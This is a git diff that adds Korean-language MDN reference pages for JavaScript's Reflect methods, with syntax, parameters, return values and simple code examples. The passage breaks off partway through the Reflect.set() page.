+---
+title: Reflect.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.getOwnPropertyDescriptor()</code></strong> 정적 메서드는 객체에 주어진 속성이 존재하면, 해당 속성의 서술자를 반환합니다. {{jsxref("Object.getOwnPropertyDescriptor()")}}와 유사합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getownpropertydescriptor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.getOwnPropertyDescriptor(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 탐색할 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>자체 속성 서술자를 가져올 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상 속성이 객체에 존재하면, 그 속성의 서술자. 존재하지 않으면 {{jsxref("undefined")}}.</p>
+
+<h3 id="예제">예제</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.getOwnPropertyDescriptor</code> 메서드는 객체 속성의 서술자를 반환합니다. 만약 존재하지 않는 속성이라면 {{jsxref("undefined")}}를 대신 반환합니다. {{jsxref("Object.getOwnPropertyDescriptor()")}}와의 유일한 차이는 객체가 아닌 대상의 처리 방법입니다.</p>
+
+<h2 id="예제_2">예제</h2>
+
+<h3 id="Reflect.getOwnPropertyDescriptor()_사용하기"><code>Reflect.getOwnPropertyDescriptor()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor({x: 'hello'}, 'x');
+// {value: "hello", writable: true, enumerable: true, configurable: true}
+
+Reflect.getOwnPropertyDescriptor({x: 'hello'}, 'y');
+// undefined
+
+Reflect.getOwnPropertyDescriptor([], 'length');
+// {value: 0, writable: true, enumerable: false, configurable: false}
+</pre>
+
+<h3 id="Object.getOwnPropertyDescriptor()와의_차이점"><code>Object.getOwnPropertyDescriptor()</code>와의 차이점</h3>
+
+<p><code>Reflect.getOwnPropertyDescriptor()</code>의 첫 번째 매개변수가 객체가 아니고 {{glossary("Primitive", "원시값")}}이라면 {{jsxref("TypeError")}}가 발생합니다. 반면 {{jsxref("Object.getOwnPropertyDescriptor()")}}는 같은 상황에서 값을 우선 객체로 변환합니다.</p>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor('foo', 0);
+// TypeError: "foo" is not non-null object
+
+Object.getOwnPropertyDescriptor('foo', 0);
+// { value: "f", writable: false, enumerable: true, configurable: false }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.getOwnPropertyDescriptor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html
new file mode 100644
index 0000000000..f0d2f2d19c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html
@@ -0,0 +1,104 @@
+---
+title: Reflect.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.getPrototypeOf()</code></strong> 정적 메서드는 주어진 객체의 프로토타입을 반환합니다. {{jsxref("Object.getPrototypeOf()")}}와 거의 동일합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getprototypeof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.getPrototypeOf(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>프로토타입을 가져올 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 객체의 프로토타입. 상속한 속성이 없으면 {{jsxref("null")}}을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.getPrototypeOf()</code> 메서드는 주어진 객체의 프로토타입(<code>[[Prototype]]</code> 내부 객체의 값 등)을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.getPrototypeOf()_사용하기"><code>Reflect.getPrototypeOf()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.getPrototypeOf({}); // Object.prototype
+Reflect.getPrototypeOf(Object.prototype); // null
+Reflect.getPrototypeOf(Object.create(null)); // null
+</pre>
+
+<h3 id="Object.getPrototypeOf()와_비교"><code>Object.getPrototypeOf()</code>와 비교</h3>
+
+<pre class="brush: js">// 객체에는 동일한 결과
+Object.getPrototypeOf({}); // Object.prototype
+Reflect.getPrototypeOf({}); // Object.prototype
+
+// ES5에서는 비객체 대상에서 모두 오류
+Object.getPrototypeOf('foo'); // Throws TypeError
+Reflect.getPrototypeOf('foo'); // Throws TypeError
+
+// ES2015에서는 Reflect만 오류, Object는 객체로 변환
+Object.getPrototypeOf('foo'); // String.prototype
+Reflect.getPrototypeOf('foo'); // Throws TypeError
+
+// ES2015 Object 동작을 따라하려면 객체 변환과정 필요
+Reflect.getPrototypeOf(Object('foo')); // String.prototype
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.getPrototypeOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/has/index.html b/files/ko/web/javascript/reference/global_objects/reflect/has/index.html
new file mode 100644
index 0000000000..363b4d0366
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/has/index.html
@@ -0,0 +1,97 @@
+---
+title: Reflect.has()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/has
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.has()</code></strong> 정적 메서드는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>의 함수판입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.has(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 탐색할 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>탐색할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체가 속성을 가지고 있는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.has()</code> 메서드는 객체에 속성이 존재하는지 판별할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>처럼 동작합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.has()_사용하기"><code>Reflect.has()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.has({x: 0}, 'x'); // true
+Reflect.has({x: 0}, 'y'); // false
+
+// 프로토타입 체인에 존재하는 속성도 true 반환
+Reflect.has({x: 0}, 'toString');
+
+// .has() 처리기 메서드를 가진 Proxy
+obj = new Proxy({}, {
+ has(t, k) { return k.startsWith('door'); }
+});
+Reflect.has(obj, 'doorbell'); // true
+Reflect.has(obj, 'dormitory'); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/index.html b/files/ko/web/javascript/reference/global_objects/reflect/index.html
new file mode 100644
index 0000000000..728dcd74c3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/index.html
@@ -0,0 +1,106 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Global_Objects/Reflect
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code>는 중간에서 가로챌 수 있는 JavaScript 작업에 대한 메서드를 제공하는 내장 객체입니다. 메서드의 종류는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">프록시 처리기</a>와 동일합니다. <code>Reflect</code>는 함수 객체가 아니므로 생성자로 사용할 수 없습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 대부분의 전역 객체와 다르게, <code>Reflect</code>는 생성자가 아닙니다. 따라서 함수처럼 호출하거나 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>로 인스턴스를 만들 수 없습니다. {{jsxref("Math")}} 객체처럼, <code>Reflect</code>의 모든 속성과 메서드는 정적입니다.</p>
+
+<p><code>Reflect</code> 객체의 정적 메서드 이름은 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">프록시 처리기 메서드</a>의 이름과 같습니다.</p>
+
+<p>일부 메서드는 {{jsxref("Object")}}에도 존재하는 메서드이지만 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods">약간의 차이</a>가 있습니다.</p>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>대상 함수를 주어진 매개변수로 호출합니다. {{jsxref("Function.prototype.apply()")}}도 참고하세요.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>입니다. <code>new target(...args)</code>을 호출하는 것과 같습니다. 다른 프로토타입을 지정하는 추가 기능도 가지고 있습니다.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>{{jsxref("Object.defineProperty()")}}와 비슷합니다. {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>입니다. <code>delete target[name]</code>을 호출하는 것과 같습니다.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>대상 속성의 값을 반환하는 함수입니다.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>{{jsxref("Object.getOwnPropertyDescriptor()")}}와 비슷합니다. 주어진 속성이 대상 객체에 존재하면, 그 속성의 서술자를 반환합니다. 그렇지 않으면 {{jsxref("undefined")}}를 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>{{jsxref("Object.getPrototypeOf()")}}와 같습니다.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>입니다. 자신의, 혹은 상속한 속성이 존재하는지 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>{{jsxref("Object.isExtensible()")}}과 같습니다.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>대상 객체의 자체 키(상속하지 않은 키) 목록을 배열로 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>{{jsxref("Object.preventExtensions()")}}와 비슷합니다. {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>속성에 값을 할당하는 함수입니다. 할당 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>객체의 프로토타입을 지정하는 함수입니다. 지정 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체가_특정_속성을_가지고_있는지_검사하기">객체가 특정 속성을 가지고 있는지 검사하기</h3>
+
+<pre class="brush: js notranslate">const duck = {
+ name: 'Maurice',
+ color: 'white',
+ greeting: function() {
+ console.log(`Quaaaack! My name is ${this.name}`);
+ }
+}
+
+Reflect.has(duck, 'color');
+// true
+Reflect.has(duck, 'haircut');
+// false</pre>
+
+<h3 id="객체_자체_키를_반환하기">객체 자체 키를 반환하기</h3>
+
+<pre class="brush: js notranslate">Reflect.ownKeys(duck);
+// [ "name", "color", "greeting" ]</pre>
+
+<h3 id="객체에_새로운_속성_추가하기">객체에 새로운 속성 추가하기</h3>
+
+<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black');
+// returns "true" if successful
+// "duck" now contains the property "eyes: 'black'"</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}} 전역 객체.</li>
+ <li>{{jsxref("Proxy.handler", "handler")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html b/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html
new file mode 100644
index 0000000000..68d168eb65
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html
@@ -0,0 +1,111 @@
+---
+title: Reflect.isExtensible()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect</strong></code><strong><code>.isExtensible()</code></strong> 정적 메서드는 객체의 확장 가능 여부, 즉 속성을 추가할 수 있는지 판별합니다.</span> {{jsxref("Object.isExtensible()")}}과 유사하지만 {{anch("Object.isExtensible()과의 차이", "차이점")}}도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-isextensible.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.isExtensible(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>확장 가능 여부를 판별할 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 확장 가능 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.isExtensible()</code> 메서드는 {{jsxref("Object.isExtensible()")}}와 유사하게, 객체에 새로운 속성을 추가할 수 있는지 판별합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.isExtensible()_사용하기"><code>Reflect.isExtensible()</code> 사용하기</h3>
+
+<p>{{jsxref("Object.isExtensible()")}}도 참고하세요.</p>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능
+var empty = {};
+Reflect.isExtensible(empty); // === true
+
+// ...하지만 바꿀 수 있음
+Reflect.preventExtensions(empty);
+Reflect.isExtensible(empty); // === false
+
+// 봉인한 객체는 확장 불가능함
+var sealed = Object.seal({});
+Reflect.isExtensible(sealed); // === false
+
+// 동결한 객체도 확장 불가능함
+var frozen = Object.freeze({});
+Reflect.isExtensible(frozen); // === false
+</pre>
+
+<h3 id="Object.isExtensible()과의_차이점"><code>Object.isExtensible()</code>과의 차이점</h3>
+
+<p><code>Reflect.isExtensible()</code>은 첫 번째 매개변수가 {{glossary("Primitive", "원시값")}}이면 {{jsxref("TypeError")}}를 던집니다. 반면 {{jsxref("Object.isExtensible()")}}은 우선 객체로 변환을 시도합니다.</p>
+
+<pre class="brush: js">Reflect.isExtensible(1);
+// TypeError: 1 is not an object
+
+Object.isExtensible(1);
+// false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.isExtensible")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html
new file mode 100644
index 0000000000..41c350ca60
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html
@@ -0,0 +1,95 @@
+---
+title: Reflect.ownKeys()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect.ownKeys()</strong></code> 정적 메서드는 대상 객체의 자체 속성 키를 배열로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.ownKeys(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>자체 키를 가져올 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 객체의 자체 속성 키를 담은 {{jsxref("Array")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>The <code>Reflect.ownKeys()</code> 메서드는 대상 객체의 자체 속성 키를 배열로 반환합니다. 반환 값은 <code>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(target)", "", 1)}}.concat({{jsxref("Object.getOwnPropertySymbols", "Object.getOwnPropertySymbols(target)", "", 1)}})</code>와 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.ownKeys()_사용하기"><code>Reflect.ownKeys()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
+Reflect.ownKeys([]); // ["length"]
+
+var sym = Symbol.for('comet');
+var sym2 = Symbol.for('meteor');
+var obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0,
+ [sym2]: 0, '-1': 0, '8': 0, 'second str': 0};
+Reflect.ownKeys(obj);
+// [ "0", "8", "773", "str", "-1", "second str", Symbol(comet), Symbol(meteor) ]
+// Indexes in numeric order,
+// strings in insertion order,
+// symbols in insertion order
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.ownKeys")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html b/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html
new file mode 100644
index 0000000000..364b46a5fa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html
@@ -0,0 +1,103 @@
+---
+title: Reflect.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect.preventExtensions()</strong></code> 정적 메서드는 새로운 속성을 객체에 추가하지 못하도록 완전히 막습니다. 즉, 미래의 객체 확장을 막습니다.</span> {{jsxref("Object.preventExtensions()")}}와 유사하지만 {{anch("Object.preventExtensions()와의 차이점", "차이점")}}도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-preventextensions.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.preventExtensions(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>확장을 방지할 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상의 확장을 성공적으로 방지했는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.preventExtensions()</code> 메서드는 새로운 속성을 객체에 추가하지 못하도록 완전히 막습니다. 즉, 미래의 객체 확장을 막습니다. {{jsxref("Object.preventExtensions()")}}와 유사합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.preventExtensions()_사용하기"><code>Reflect.preventExtensions()</code> 사용하기</h3>
+
+<p>{{jsxref("Object.preventExtensions()")}}도 참고하세요.</p>
+
+<pre class="brush: js">// 객체는 기본적으로 확장 가능
+var empty = {};
+Reflect.isExtensible(empty); // === true
+
+// ...하지만 바꿀 수 있음
+Reflect.preventExtensions(empty);
+Reflect.isExtensible(empty); // === false
+</pre>
+
+<h3 id="Object.preventExtensions()와의_차이점"><code>Object.preventExtensions()</code>와의 차이점</h3>
+
+<p><code>Reflect.preventExtensions()</code>는 첫 번째 매개변수가 {{glossary("Primitive", "원시값")}}이면 {{jsxref("TypeError")}}를 던집니다. 반면 {{jsxref("Object.preventExtensions()")}}는 우선 객체로 변환을 시도합니다.</p>
+
+<pre class="brush: js">Reflect.preventExtensions(1);
+// TypeError: 1 is not an object
+
+Object.preventExtensions(1);
+// 1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.preventExtensions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/set/index.html b/files/ko/web/javascript/reference/global_objects/reflect/set/index.html
new file mode 100644
index 0000000000..f3cfc3a532
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/set/index.html
@@ -0,0 +1,108 @@
+---
+title: Reflect.set()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/set
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.set()</code></strong> 정적 메서드는 객체 속성의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.set(<em>target</em>, <em>propertyKey</em>, <em>value</em>[, <em>receiver</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성의 값을 설정할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>값을 설정할 속성의 이름.</dd>
+ <dt><code>value</code></dt>
+ <dd>설정할 값.</dd>
+ <dt><code>receiver</code> {{optional_inline}}</dt>
+ <dd>속성이 설정자일 경우, <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>값 설정의 성공 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
